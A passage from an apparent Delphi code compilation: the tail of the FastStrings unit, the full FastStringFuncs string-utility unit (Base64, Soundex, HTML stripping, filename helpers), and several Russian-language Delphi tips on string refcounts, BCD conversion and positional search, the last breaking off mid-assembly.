  FindPChar := @FindString[1];

  //Set the pointer to ReplaceString
  if ReplaceLength > 0 then
    ReplacePChar := @NewPattern[1]
  else
    ReplacePChar := nil;

  //Replace routine
  repeat
    //Find the sub string
    SourceStringPChar := AnsiStrPos(PrevSourceStringPChar,
    FindPChar);
    if SourceStringPChar = nil then Break;
    //How many characters do we need to copy before
    //the string occurs
    CopySize := SourceStringPChar - PrevSourceStringPChar;

    //Check we have enough space in our Result buffer
    if CopySize + ReplaceLength > BufferSize - BytesWritten then
    begin
      BufferSize := Trunc((BytesWritten + CopySize + ReplaceLength) * cDeltaSize);
      SetLength(Result, BufferSize);
      ResultPChar := @Result[BytesWritten + 1];
    end;

    //Copy the preceeding characters to our result buffer
    Move(SPChar^, ResultPChar^, CopySize);
    Inc(BytesWritten, CopySize);
    //Advance the copy position of S
    Inc(SPChar, CopySize + FindLength);
    //Advance the Result pointer
    Inc(ResultPChar, CopySize);
    //Copy the replace string into the Result buffer
    if Assigned(ReplacePChar) then
    begin
      Move(ReplacePChar^, ResultPChar^, ReplaceLength);
      Inc(ResultPChar, ReplaceLength);
      Inc(BytesWritten, ReplaceLength);
    end;

    //Fake delete the start of the source string
    PrevSourceStringPChar := SourceStringPChar + FindLength;
  until (PrevSourceStringPChar > FinalSourceMarker) or
    not (rfReplaceAll in Flags);

  FinalSourcePosition := Integer(SPChar - @S[1]);
  CopySize := SourceLength - FinalSourcePosition;
  SetLength(Result, BytesWritten + CopySize);
  if CopySize > 0 then
    Move(SPChar^, Result[BytesWritten + 1], CopySize);
end;

function FastReplace(const aSourceString : string; const aFindString, aReplaceString : string;
   CaseSensitive : Boolean = False) : string;
var
  PResult                     : PChar;
  PReplace                    : PChar;
  PSource                     : PChar;
  PFind                       : PChar;
  PPosition                   : PChar;
  CurrentPos,
  BytesUsed,
  lResult,
  lReplace,
  lSource,
  lFind                       : Integer;
  Find                        : TFastPosProc;
  CopySize                    : Integer;
  JumpTable                   : TBMJumpTable;
begin
  LSource := Length(aSourceString);
  if LSource = 0 then begin
    Result := aSourceString;
    exit;
  end;
  PSource := @aSourceString[1];

  LFind := Length(aFindString);
  if LFind = 0 then exit;
  PFind := @aFindString[1];

  LReplace := Length(aReplaceString);

  //Here we may get an Integer Overflow, or OutOfMemory, if so, we use a Delta
  try
    if LReplace <= LFind then
      SetLength(Result,lSource)
    else
      SetLength(Result, (LSource *LReplace) div  LFind);
  except
    SetLength(Result,0);
  end;

  LResult := Length(Result);
  if LResult = 0 then begin
    LResult := Trunc((LSource + LReplace) * cDeltaSize);
    SetLength(Result, LResult);
  end;

  PResult := @Result[1];

  if CaseSensitive then
  begin
    MakeBMTable(PChar(AFindString), lFind, JumpTable);
    Find := BMPos;
  end else
  begin
    MakeBMTableNoCase(PChar(AFindString), lFind, JumpTable);
    Find := BMPosNoCase;
  end;

  BytesUsed := 0;
  if LReplace > 0 then begin
    PReplace := @aReplaceString[1];
    repeat
      PPosition := Find(PSource,PFind,lSource, lFind, JumpTable);
      if PPosition = nil then break;

      CopySize := PPosition - PSource;
      Inc(BytesUsed, CopySize + LReplace);

      if BytesUsed >= LResult then begin
        //We have run out of space
        CurrentPos := Integer(PResult) - Integer(@Result[1]) +1;
        LResult := Trunc(LResult * cDeltaSize);
        SetLength(Result,LResult);
        PResult := @Result[CurrentPos];
      end;

      FastCharMove(PSource^,PResult^,CopySize);
      Dec(lSource,CopySize + LFind);
      Inc(PSource,CopySize + LFind);
      Inc(PResult,CopySize);

      FastCharMove(PReplace^,PResult^,LReplace);
      Inc(PResult,LReplace);

    until lSource < lFind;
  end else begin
    repeat
      PPosition := Find(PSource,PFind,lSource, lFind, JumpTable);
      if PPosition = nil then break;

      CopySize := PPosition - PSource;
      FastCharMove(PSource^,PResult^,CopySize);
      Dec(lSource,CopySize + LFind);
      Inc(PSource,CopySize + LFind);
      Inc(PResult,CopySize);
      Inc(BytesUsed, CopySize);
    until lSource < lFind;
  end;

  SetLength(Result, (PResult+LSource) - @Result[1]);
  if LSource > 0 then
    FastCharMove(PSource^, Result[BytesUsed + 1], LSource);
end;

function FastTagReplace(const SourceString, TagStart, TagEnd: string;
  FastTagReplaceProc: TFastTagReplaceProc; const UserData: Integer): string;
var
  TagStartPChar: PChar;
  TagEndPChar: PChar;
  SourceStringPChar: PChar;
  TagStartFindPos: PChar;
  TagEndFindPos: PChar;
  TagStartLength: Integer;
  TagEndLength: Integer;
  DestPChar: PChar;
  FinalSourceMarkerStart: PChar;
  FinalSourceMarkerEnd: PChar;
  BytesWritten: Integer;
  BufferSize: Integer;
  CopySize: Integer;
  ReplaceString: string;

  procedure AddBuffer(const Buffer: Pointer; Size: Integer);
  begin
    if BytesWritten + Size > BufferSize then
    begin
      BufferSize := Trunc(BufferSize * cDeltaSize);
      if BufferSize <= (BytesWritten + Size) then
        BufferSize := Trunc((BytesWritten + Size) * cDeltaSize);
      SetLength(Result, BufferSize);
      DestPChar := @Result[BytesWritten + 1];
    end;
    Inc(BytesWritten, Size);
    FastCharMove(Buffer^, DestPChar^, Size);
    DestPChar := DestPChar + Size;
  end;

begin
  Assert(Assigned(@FastTagReplaceProc));
  TagStartPChar := PChar(TagStart);
  TagEndPChar := PChar(TagEnd);
  if (SourceString = '') or (TagStart = '') or (TagEnd = '') then
  begin
    Result := SourceString;
    Exit;
  end;

  SourceStringPChar := PChar(SourceString);
  TagStartLength := Length(TagStart);
  TagEndLength := Length(TagEnd);
  FinalSourceMarkerEnd := SourceStringPChar + Length(SourceString) - TagEndLength;
  FinalSourceMarkerStart := FinalSourceMarkerEnd - TagStartLength;

  BytesWritten := 0;
  BufferSize := Length(SourceString);
  SetLength(Result, BufferSize);
  DestPChar := @Result[1];

  repeat
    TagStartFindPos := AnsiStrPos(SourceStringPChar, TagStartPChar);
    if (TagStartFindPos = nil) or (TagStartFindPos > FinalSourceMarkerStart) then Break;
    TagEndFindPos := AnsiStrPos(TagStartFindPos + TagStartLength, TagEndPChar);
    if (TagEndFindPos = nil) or (TagEndFindPos > FinalSourceMarkerEnd) then Break;
    CopySize := TagStartFindPos - SourceStringPChar;
    AddBuffer(SourceStringPChar, CopySize);
    CopySize := TagEndFindPos - (TagStartFindPos + TagStartLength);
    SetLength(ReplaceString, CopySize);
    if CopySize > 0 then
      Move((TagStartFindPos + TagStartLength)^, ReplaceString[1], CopySize);
    FastTagReplaceProc(ReplaceString, UserData);
    if Length(ReplaceString) > 0 then
      AddBuffer(@ReplaceString[1], Length(ReplaceString));
    SourceStringPChar := TagEndFindPos + TagEndLength;
  until SourceStringPChar > FinalSourceMarkerStart;
  CopySize := PChar(@SourceString[Length(SourceString)]) - (SourceStringPChar - 1);
  if CopySize > 0 then
    AddBuffer(SourceStringPChar, CopySize);
  SetLength(Result, BytesWritten);
end;

function SmartPos(const SearchStr,SourceStr : string;
                  const CaseSensitive : Boolean = TRUE;
                  const StartPos : Integer = 1;
                  const ForwardSearch : Boolean = TRUE) : Integer;
begin
  // NOTE:  When using StartPos, the returned value is absolute!
  if (CaseSensitive) then
    if (ForwardSearch) then
      Result:=
        FastPos(SourceStr,SearchStr,Length(SourceStr),Length(SearchStr),StartPos)
    else
      Result:=
        FastPosBack(SourceStr,SearchStr,Length(SourceStr),Length(SearchStr),StartPos)
  else
    if (ForwardSearch) then
      Result:=
        FastPosNoCase(SourceStr,SearchStr,Length(SourceStr),Length(SearchStr),StartPos)
    else
      Result:=
        FastPosBackNoCase(SourceStr,SearchStr,Length(SourceStr),Length(SearchStr),StartPos)
end;

var
  I: Integer;
initialization
  {$IFNDEF LINUX}
    for I:=0 to 255 do GUpcaseTable[I] := Chr(I);
    CharUpperBuff(@GUpcaseTable[0], 256);
  {$ELSE}
    for I:=0 to 255 do GUpcaseTable[I] := UpCase(Chr(I));
  {$ENDIF}
  GUpcaseLUT := @GUpcaseTable[0];
end.

FastStringFuncs.pas

//==================================================
//All code herein is copyrighted by
//Peter Morris
//-----
//Do not alter / remove this copyright notice
//Email me at : support@droopyeyes.com
//
//The homepage for this library is http://www.droopyeyes.com
//
//(Check out www.HowToDoThings.com for Delphi articles !)
//(Check out www.stuckindoors.com if you need a free events page on your site !)

unit FastStringFuncs;

interface

uses
  {$IFDEF LINUX}
    QGraphics,
  {$ELSE}
    Graphics,
  {$ENDIF}
  FastStrings, Sysutils, Classes;

const
  cHexChars = '0123456789ABCDEF';
  cSoundexTable: array[65..122] of Byte =
    ({A}0, {B}1, {C}2, {D}3, {E}0, {F}1, {G}2, {H}0, {I}0, {J}2, {K}2, {L}4, {M}5,
     {N}5, {O}0, {P}1, {Q}2, {R}6, {S}2, {T}3, {U}0, {V}1, {W}0, {X}2, {Y}0, {Z}2,
     0, 0, 0, 0, 0, 0,
     {a}0, {b}1, {c}2, {d}3, {e}0, {f}1, {g}2, {h}0, {i}0, {j}2, {k}2, {l}4, {m}5,
     {n}5, {o}0, {p}1, {q}2, {r}6, {s}2, {t}3, {u}0, {v}1, {w}0, {x}2, {y}0, {z}2);

function Base64Encode(const Source: AnsiString): AnsiString;
function Base64Decode(const Source: string): string;
function CopyStr(const aSourceString : string; aStart, aLength : Integer) : string;
function Decrypt(const S: string; Key: Word): string;
function Encrypt(const S: string; Key: Word): string;
function ExtractHTML(S : string) : string;
function ExtractNonHTML(S : string) : string;
function HexToInt(aHex : string) : int64;
function LeftStr(const aSourceString : string; Size : Integer) : string;
function StringMatches(Value, Pattern : string) : Boolean;
function MissingText(Pattern, Source : string; SearchText : string = '?') : string;
function RandomFileName(aFilename : string) : string;
function RandomStr(aLength : Longint) : string;
function ReverseStr(const aSourceString: string): string;
function RightStr(const aSourceString : string; Size : Integer) : string;
function RGBToColor(aRGB : string) : TColor;
function StringCount(const aSourceString, aFindString : string; Const CaseSensitive : Boolean = TRUE) : Integer;
function SoundEx(const aSourceString: string): Integer;
function UniqueFilename(aFilename : string) : string;
function URLToText(aValue : string) : string;
function WordAt(Text : string; Position : Integer) : string;

procedure Split(aValue : string; aDelimiter : Char; var Result : TStrings);

implementation
const
  cKey1 = 52845;
  cKey2 = 22719;
  Base64_Table : shortstring = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';

function StripHTMLorNonHTML(const S : string; WantHTML : Boolean) : string; forward;

//Encode to Base64
function Base64Encode(const Source: AnsiString): AnsiString;
var
  NewLength: Integer;
begin
  NewLength := ((2 + Length(Source)) div 3) * 4;
  SetLength( Result, NewLength);

  asm
    Push  ESI
    Push  EDI
    Push  EBX
    Lea   EBX, Base64_Table
    Inc   EBX                // Move past String Size (ShortString)
    Mov   EDI, Result
    Mov   EDI, [EDI]
    Mov   ESI, Source
    Mov   EDX, [ESI-4]        //Length of Input String
@WriteFirst2:
    CMP EDX, 0
    JLE @Done
    MOV AL, [ESI]
    SHR AL, 2
{$IFDEF VER140} // Changes to BASM in D6
    XLATB
{$ELSE}
    XLAT
{$ENDIF}
    MOV [EDI], AL
    INC EDI
    MOV AL, [ESI + 1]
    MOV AH, [ESI]
    SHR AX, 4
    AND AL, 63
{$IFDEF VER140} // Changes to BASM in D6
    XLATB
{$ELSE}
    XLAT
{$ENDIF}
    MOV [EDI], AL
    INC EDI
    CMP EDX, 1
    JNE @Write3
    MOV AL, 61                        // Add ==
    MOV [EDI], AL
    INC EDI
    MOV [EDI], AL
    INC EDI
    JMP @Done
@Write3:
    MOV AL, [ESI + 2]
    MOV AH, [ESI + 1]
    SHR AX, 6
    AND AL, 63
{$IFDEF VER140} // Changes to BASM in D6
    XLATB
{$ELSE}
    XLAT
{$ENDIF}
    MOV [EDI], AL
    INC EDI
    CMP EDX, 2
    JNE @Write4
    MOV AL, 61                        // Add =
    MOV [EDI], AL
    INC EDI
    JMP @Done
@Write4:
    MOV AL, [ESI + 2]
    AND AL, 63
{$IFDEF VER140} // Changes to BASM in D6
    XLATB
{$ELSE}
    XLAT
{$ENDIF}
    MOV [EDI], AL
    INC EDI
    ADD ESI, 3
    SUB EDX, 3
    JMP @WriteFirst2
@done:
    Pop EBX
    Pop EDI
    Pop ESI
  end;
end;

//Decode Base64
function Base64Decode(const Source: string): string;
var
  NewLength: Integer;
begin
{
  NB: On invalid input this routine will simply skip the bad data, a
better solution would probably report the error

  ESI -> Source String
  EDI -> Result String

  ECX -> length of Source (number of DWords)
  EAX -> 32 Bits from Source
  EDX -> 24 Bits Decoded

  BL -> Current number of bytes decoded
}

  SetLength( Result, (Length(Source) div 4) * 3);
  NewLength := 0;
  asm
    Push  ESI
    Push  EDI
    Push  EBX

    Mov   ESI, Source

    Mov   EDI, Result //Result address
    Mov   EDI, [EDI]

    Or    ESI,ESI   // Nil Strings
    Jz    @Done

    Mov   ECX, [ESI-4]
    Shr   ECX,2       // DWord Count

    JeCxZ @Error      // Empty String

    Cld

    jmp   @Read4

  @Next:
    Dec   ECX
    Jz   @Done

  @Read4:
    lodsd

    Xor   BL, BL
    Xor   EDX, EDX

    Call  @DecodeTo6Bits
    Shl   EDX, 6
    Shr   EAX,8
    Call  @DecodeTo6Bits
    Shl   EDX, 6
    Shr   EAX,8
    Call  @DecodeTo6Bits
    Shl   EDX, 6
    Shr   EAX,8
    Call  @DecodeTo6Bits

  // Write Word

    Or    BL, BL
    JZ    @Next  // No Data

    Dec   BL
    Or    BL, BL
    JZ    @Next  // Minimum of 2 decode values to translate to 1 byte

    Mov   EAX, EDX

    Cmp   BL, 2
    JL    @WriteByte

    Rol   EAX, 8

    BSWAP EAX

    StoSW

    Add NewLength, 2

  @WriteByte:
    Cmp BL, 2
    JE  @Next
    SHR EAX, 16
    StoSB

    Inc NewLength
    jmp   @Next

  @Error:
    jmp @Done

  @DecodeTo6Bits:

  @TestLower:
    Cmp AL, 'a'
    Jl @TestCaps
    Cmp AL, 'z'
    Jg @Skip
    Sub AL, 71
    Jmp @Finish

  @TestCaps:
    Cmp AL, 'A'
    Jl  @TestEqual
    Cmp AL, 'Z'
    Jg  @Skip
    Sub AL, 65
    Jmp @Finish

  @TestEqual:
    Cmp AL, '='
    Jne @TestNum
    // Skip byte
    ret

  @TestNum:
    Cmp AL, '9'
    Jg @Skip
    Cmp AL, '0'
    JL  @TestSlash
    Add AL, 4
    Jmp @Finish

  @TestSlash:
    Cmp AL, '/'
    Jne @TestPlus
    Mov AL, 63
    Jmp @Finish

  @TestPlus:
    Cmp AL, '+'
    Jne @Skip
    Mov AL, 62

  @Finish:
    Or  DL, AL
    Inc BL

  @Skip:
    Ret

  @Done:
    Pop   EBX
    Pop   EDI
    Pop   ESI

  end;

  SetLength( Result, NewLength); // Trim off the excess
end;

//Encrypt a string
function Encrypt(const S: string; Key: Word): string;
var
I: byte;
begin
 SetLength(result,length(s));
 for I := 1 to Length(S) do
    begin
        Result[I] := char(byte(S[I]) xor (Key shr 8));
        Key := (byte(Result[I]) + Key) * cKey1 + cKey2;
    end;
end;

//Return only the HTML of a string
function ExtractHTML(S : string) : string;
begin
  Result := StripHTMLorNonHTML(S, True);
end;

function CopyStr(const aSourceString : string; aStart, aLength : Integer) : string;
var
  L                           : Integer;
begin
  L := Length(aSourceString);
  if L=0 then Exit;
  if (aStart < 1) or (aLength < 1) then Exit;

  if aStart + (aLength-1) > L then aLength := L - (aStart-1);

  if (aStart <1) then exit;

  SetLength(Result,aLength);
  FastCharMove(aSourceString[aStart], Result[1], aLength);
end;

//Take all HTML out of a string
function ExtractNonHTML(S : string) : string;
begin
  Result := StripHTMLorNonHTML(S,False);
end;

//Decrypt a string encoded with Encrypt
function Decrypt(const S: string; Key: Word): string;
var
  I: byte;
begin
 SetLength(result,length(s));
 for I := 1 to Length(S) do
    begin
        Result[I] := char(byte(S[I]) xor (Key shr 8));
        Key := (byte(S[I]) + Key) * cKey1 + cKey2;
    end;
end;

//Convert a text-HEX value (FF0088 for example) to an integer
function  HexToInt(aHex : string) : int64;
var
  Multiplier      : Int64;
  Position        : Byte;
  Value           : Integer;
begin
  Result := 0;
  Multiplier := 1;
  Position := Length(aHex);
  while Position >0 do begin
    Value := FastCharPosNoCase(cHexChars, aHex[Position], 1)-1;
    if Value = -1 then
      raise Exception.Create('Invalid hex character ' + aHex[Position]);

    Result := Result + (Value * Multiplier);
    Multiplier := Multiplier * 16;
    Dec(Position);
  end;
end;

//Get the left X amount of chars
function LeftStr(const aSourceString : string; Size : Integer) : string;
begin
  if Size > Length(aSourceString) then
    Result := aSourceString
  else begin
    SetLength(Result, Size);
    Move(aSourceString[1],Result[1],Size);
  end;
end;

//Do strings match with wildcards, eg
//StringMatches('The cat sat on the mat', 'The * sat * the *') = True
function StringMatches(Value, Pattern : string) : Boolean;
var
  NextPos,
  Star1,
  Star2       : Integer;
  NextPattern   : string;
begin
  Star1 := FastCharPos(Pattern,'*',1);
  if Star1 = 0 then
    Result := (Value = Pattern)
  else
  begin
    Result := (Copy(Value,1,Star1-1) = Copy(Pattern,1,Star1-1));
    if Result then
    begin
      if Star1 > 1 then Value := Copy(Value,Star1,Length(Value));
      Pattern := Copy(Pattern,Star1+1,Length(Pattern));

      NextPattern := Pattern;
      Star2 := FastCharPos(NextPattern, '*',1);
      if Star2 > 0 then NextPattern := Copy(NextPattern,1,Star2-1);

      //pos(NextPattern,Value);
      NextPos := FastPos(Value, NextPattern, Length(Value), Length(NextPattern), 1);
      if (NextPos = 0) and not (NextPattern = '') then
        Result := False
      else
      begin
        Value := Copy(Value,NextPos,Length(Value));
        if Pattern = '' then
          Result := True
        else
          Result := Result and StringMatches(Value,Pattern);
      end;
    end;
  end;
end;

//Missing text will tell you what text is missing, eg
//MissingText('the ? sat on the mat','the cat sat on the mat','?') = 'cat'
function MissingText(Pattern, Source : string; SearchText : string = '?') : string;
var
  Position                    : Longint;
  BeforeText,
  AfterText                   : string;
  BeforePos,
  AfterPos                     : Integer;
  lSearchText,
  lBeforeText,
  lAfterText,
  lSource                     : Longint;
begin
  Result := '';
  Position := Pos(SearchText,Pattern);
  if Position = 0 then exit;

  lSearchText := Length(SearchText);
  lSource := Length(Source);
  BeforeText := Copy(Pattern,1,Position-1);
  AfterText := Copy(Pattern,Position+lSearchText,lSource);

  lBeforeText := Length(BeforeText);
  lAfterText := Length(AfterText);

  AfterPos := lBeforeText;
  repeat
    AfterPos := FastPosNoCase(Source,AfterText,lSource,lAfterText,AfterPos+lSearchText);
    if AfterPos > 0 then begin
      BeforePos := FastPosBackNoCase(Source,BeforeText,AfterPos-1,lBeforeText,AfterPos - (lBeforeText-1));
      if (BeforePos > 0) then begin
        Result := Copy(Source,BeforePos + lBeforeText, AfterPos - (BeforePos + lBeforeText));
        Break;
      end;
    end;
  until AfterPos = 0;
end;

//Generates a random filename but preserves the original path + extension
function RandomFilename(aFilename : string) : string;
var
  Path,
  Filename,
  Ext               : string;
begin
  Result := aFilename;
  Path := ExtractFilepath(aFilename);
  Ext := ExtractFileExt(aFilename);
  Filename := ExtractFilename(aFilename);
  if Length(Ext) > 0 then
    Filename := Copy(Filename,1,Length(Filename)-Length(Ext));
  repeat
    Result := Path + RandomStr(32) + Ext;
  until not FileExists(Result);
end;

//Makes a string of aLength filled with random characters
function RandomStr(aLength : Longint) : string;
var
  X                           : Longint;
begin
  if aLength <= 0 then exit;
  SetLength(Result, aLength);
  for X:=1 to aLength do
    Result[X] := Chr(Random(26) + 65);
end;

function ReverseStr(const aSourceString: string): string;
var
  L                           : Integer;
  S,
  D                           : Pointer;
begin
  L := Length(aSourceString);
  SetLength(Result,L);
  if L = 0 then exit;

  S := @aSourceString[1];
  D := @Result[L];

  asm
    push ESI
    push EDI

    mov  ECX, L
    mov  ESI, S
    mov  EDI, D

  @Loop:
    mov  Al, [ESI]
    inc  ESI
    mov  [EDI], Al
    dec  EDI
    dec  ECX
    jnz  @Loop

    pop  EDI
    pop  ESI
  end;
end;

//Returns X amount of chars from the right of a string
function RightStr(const aSourceString : string; Size : Integer) : string;
begin
  if Size > Length(aSourceString) then
    Result := aSourceString
  else begin
    SetLength(Result, Size);
    FastCharMove(aSourceString[Length(aSourceString)-(Size-1)],Result[1],Size);
  end;
end;

//Converts a typical HTML RRGGBB color to a TColor
function RGBToColor(aRGB : string) : TColor;
begin
  if Length(aRGB) < 6 then raise EConvertError.Create('Not a valid RGB value');
  if aRGB[1] = '#' then aRGB := Copy(aRGB,2,Length(aRGB));
  if Length(aRGB) <> 6 then raise EConvertError.Create('Not a valid RGB value');

  Result := HexToInt(aRGB);
  asm
    mov   EAX, Result
    BSwap EAX
    shr   EAX, 8
    mov   Result, EAX
  end;
end;

//Splits a delimited text line into TStrings (does not account for stuff in quotes but it should)
procedure Split(aValue : string; aDelimiter : Char; var Result : TStrings);
var
  X : Integer;
  S : string;
begin
  if Result = nil then Result := TStringList.Create;
  Result.Clear;
  S := '';
  for X:=1 to Length(aValue) do begin
    if aValue[X] <> aDelimiter then
      S:=S + aValue[X]
    else begin
      Result.Add(S);
      S := '';
    end;
  end;
  if S <> '' then Result.Add(S);
end;

//counts how many times a substring exists within a string
//StringCount('XXXXX','XX') would return 2
function StringCount(const aSourceString, aFindString : string; Const CaseSensitive : Boolean = TRUE) : Integer;
var
  Find,
  Source,
  NextPos                     : PChar;
  LSource,
  LFind                       : Integer;
  Next                        : TFastPosProc;
  JumpTable                   : TBMJumpTable;
begin
  Result := 0;
  LSource := Length(aSourceString);
  if LSource = 0 then exit;

  LFind := Length(aFindString);
  if LFind = 0 then exit;

  if CaseSensitive then
  begin
    Next := BMPos;
    MakeBMTable(PChar(aFindString), Length(aFindString), JumpTable);
  end else
  begin
    Next := BMPosNoCase;
    MakeBMTableNoCase(PChar(aFindString), Length(aFindString), JumpTable);
  end;

  Source := @aSourceString[1];
  Find := @aFindString[1];

  repeat
    NextPos := Next(Source, Find, LSource, LFind, JumpTable);
    if NextPos <> nil then
    begin
      Dec(LSource, (NextPos - Source) + LFind);
      Inc(Result);
      Source := NextPos + LFind;
    end;
  until NextPos = nil;
end;

function SoundEx(const aSourceString: string): Integer;
var
  CurrentChar: PChar;
  I, S, LastChar, SoundexGroup: Byte;
  Multiple: Word;
begin
  if aSourceString = '' then
    Result := 0
  else
  begin
    //Store first letter immediately
    Result := Ord(Upcase(aSourceString[1]));

    //Last character found = 0
    LastChar := 0;
    Multiple := 26;

    //Point to first character
    CurrentChar := @aSourceString[1];

    for I := 1 to Length(aSourceString) do
    begin
      Inc(CurrentChar);

      S := Ord(CurrentChar^);
      if (S > 64) and (S < 123) then
      begin
        SoundexGroup := cSoundexTable[S];
        if (SoundexGroup <> LastChar) and (SoundexGroup > 0) then
        begin
          Inc(Result, SoundexGroup * Multiple);
          if Multiple = 936 then Break; {26 * 6 * 6}
          Multiple := Multiple * 6;
          LastChar := SoundexGroup;
        end;
      end;
    end;
  end;
end;

//Used by ExtractHTML and ExtractNonHTML
function StripHTMLorNonHTML(const S : string; WantHTML : Boolean) : string;
var
  X: Integer;
  TagCnt: Integer;
  ResChar: PChar;
  SrcChar: PChar;
begin
  TagCnt := 0;
  SetLength(Result, Length(S));
  if Length(S) = 0 then Exit;

  ResChar := @Result[1];
  SrcChar := @S[1];
  for X:=1 to Length(S) do
  begin
    case SrcChar^ of
      '<':
        begin
          Inc(TagCnt);
          if WantHTML and (TagCnt = 1) then
          begin
            ResChar^ := '<';
            Inc(ResChar);
          end;
        end;
      '>':
        begin
          Dec(TagCnt);
          if WantHTML and (TagCnt = 0) then
          begin
            ResChar^ := '>';
            Inc(ResChar);
          end;
        end;
    else
      case WantHTML of
        False:
          if TagCnt <= 0 then
          begin
            ResChar^ := SrcChar^;
            Inc(ResChar);
            TagCnt := 0;
          end;
        True:
          if TagCnt >= 1 then
          begin
            ResChar^ := SrcChar^;
            Inc(ResChar);
          end else
            if TagCnt < 0 then TagCnt := 0;
      end;
    end;
    Inc(SrcChar);
  end;
  SetLength(Result, ResChar - PChar(@Result[1]));
  Result := FastReplace(Result, '&nbsp;', ' ', False);
  Result := FastReplace(Result,'&amp;','&', False);
  Result := FastReplace(Result,'&lt;','<', False);
  Result := FastReplace(Result,'&gt;','>', False);
  Result := FastReplace(Result,'&quot;','"', False);
end;

//Generates a UniqueFilename, makes sure the file does not exist before returning a result
function UniqueFilename(aFilename : string) : string;
var
  Path,
  Filename,
  Ext               : string;
  Index             : Integer;
begin
  Result := aFilename;
  if FileExists(aFilename) then begin
    Path := ExtractFilepath(aFilename);
    Ext := ExtractFileExt(aFilename);
    Filename := ExtractFilename(aFilename);
    if Length(Ext) > 0 then
      Filename := Copy(Filename,1,Length(Filename)-Length(Ext));
    Index := 2;
    repeat
      Result := Path + Filename + IntToStr(Index) + Ext;
      Inc(Index);
    until not FileExists(Result);
  end;
end;

//Decodes all that %3c stuff you get in a URL
function  URLToText(aValue : string) : string;
var
  X     : Integer;
begin
  Result := '';
  X := 1;
  while X <= Length(aValue) do begin
    if aValue[X] <> '%' then
      Result := Result + aValue[X]
    else begin
      Result := Result + Chr( HexToInt( Copy(aValue,X+1,2) ) );
      Inc(X,2);
    end;
    Inc(X);
  end;
end;

//Returns the whole word at a position
function  WordAt(Text : string; Position : Integer) : string;
var
  L,
  X : Integer;
begin
  Result := '';
  L := Length(Text);

  if (Position > L) or (Position < 1) then Exit;
  for X:=Position to L do begin
    if Upcase(Text[X]) in ['A'..'Z','0'..'9'] then
      Result := Result + Text[X]
    else
      Break;
  end;

  for X:=Position-1 downto 1 do begin
    if Upcase(Text[X]) in ['A'..'Z','0'..'9'] then
      Result := Text[X] + Result
    else
      Break;
  end;
end;

end.


Как получить количество активных ссылок на строку?

function GetAnsistringRefcount(const S: string): Cardinal;
asm
  or eax, eax
  jz @done
  sub eax, 8
  mov eax, dword ptr [eax]
  @done:
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  S1, S2: string;
begin
  memo1.lines.Add(Format('Refcount at start: %d',
    [GetAnsistringRefcount(S1)]));
  S1 := StringOfChar('A', 10);
  memo1.lines.Add(Format('Refcount after assignment: %d',
    [GetAnsistringRefcount(S1)]));
  S2 := S1;
  memo1.lines.Add(Format('Refcount after S2:=S1: %d',
    [GetAnsistringRefcount(S1)]));
  S2 := S1 + S2;
  memo1.lines.Add(Format('Refcount after S2:=S1+S2: %d',
    [GetAnsistringRefcount(S1)]));
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


String --> BCD

function NumStringToBCD(const inStr: string): string;
  function Pack(ch1, ch2: Char): Char;
  begin
    Assert((ch1 >= '0') and (ch1 <= '9'));
    Assert((ch2 >= '0') and (ch2 <= '9'));
      {Ord('0') is $30, so we can just use the low nybble of the character
       as value.}
    Result := Chr((Ord(ch1) and $F) or ((Ord(ch2) and $F) shl 4))
  end;
var
  i: Integer;
begin
  if Odd(Length(inStr)) then
    Result := NumStringToBCD('0' + instr)
  else begin
    SetLength(Result, Length(inStr) div 2);
    for i := 1 to Length(Result) do
      Result[i] := Pack(inStr[2 * i - 1], inStr[2 * i]);
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  S1, S2: string;
begin
  S1 := '15151515151515151515';
  S2 := NumStringToBCD(S1);
  memo1.lines.add('S1: ' + S1);
  memo1.lines.add('Length(S2): ' + IntToStr(Length(S2)));
  memo1.lines.add('S2 unpacked again: ' + BCDToNumString(S2));
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


BCD --> String

function BCDToNumString(const inStr: string): string;
  procedure UnPack(ch: Char; var ch1, ch2: Char);
  begin
    ch1 := Chr((Ord(ch) and $F) + $30);
    ch2 := Chr(((Ord(ch) shr 4) and $F) + $30);
    Assert((ch1 >= '0') and (ch1 <= '9'));
    Assert((ch2 >= '0') and (ch2 <= '9'));
  end;
var
  i: Integer;
begin
  SetLength(Result, Length(inStr) * 2);
  for i := 1 to Length(inStr) do
    UnPack(inStr[i], Result[2 * i - 1], Result[2 * i]);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  S1, S2: string;
begin
  S1 := '15151515151515151515';
  S2 := NumStringToBCD(S1);
  memo1.lines.add('S1: ' + S1);
  memo1.lines.add('Length(S2): ' + IntToStr(Length(S2)));
  memo1.lines.add('S2 unpacked again: ' + BCDToNumString(S2));
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как найти строку в строке начиная с определённой позиции?

//-----------------------------------------------------------------------------
// Name: cnsSmartPos
// Author: Com-N-Sense
// Date:
// Purpose: Find a substring in a string starting from any position in the string.
// Params: SubStr - a substring for search.
//         S - the source string to search within
//         StartPos - the index position to start the search.
// Result: Integer - the position of the substring,
//                   zero - if the substring was not found
// Remarks: This is the original Delphi "Pos" function modified to support
//          the start pos parameter.
//-----------------------------------------------------------------------------
function SmartPosAsm(const substr : AnsiString; const s : AnsiString; StartPos : Cardinal) : Integer;
type
  StrRec = packed record
    allocSiz: Longint;
    refCnt: Longint;
    length: Longint;
  end;
const
  skew = sizeof(StrRec);
asm
{     ->EAX     Pointer to substr               }
{       EDX     Pointer to string               }
{     <-EAX     Position of substr in s or 0    }
        TEST    EAX,EAX
        JE      @@noWork

        TEST    EDX,EDX
        JE      @@stringEmpty

        PUSH    EBX
        PUSH    ESI
        PUSH    EDI

        MOV     ESI,EAX         { Point ESI to substr           }
        MOV     EDI,EDX         { Point EDI to s                }

        MOV     EAX,ECX
        MOV     ECX,[EDI-skew].StrRec.length  { ECX = Length(s) }
        ADD     EDI,EAX
        SUB     ECX,EAX

        PUSH    EDI  { remember s position to calculate index        }

        MOV     EDX,[ESI-skew].StrRec.length    { EDX = Length(substr)
        DEC     EDX                             { EDX = Length(substr) - 1              }
        JS      @@fail                          { < 0 ? return 0                        }
        MOV     AL,[ESI]                        { AL = first char of substr             }
        INC     ESI                             { Point ESI to 2'nd char of substr      }

        SUB     ECX,EDX                         { #positions in s to look at    }
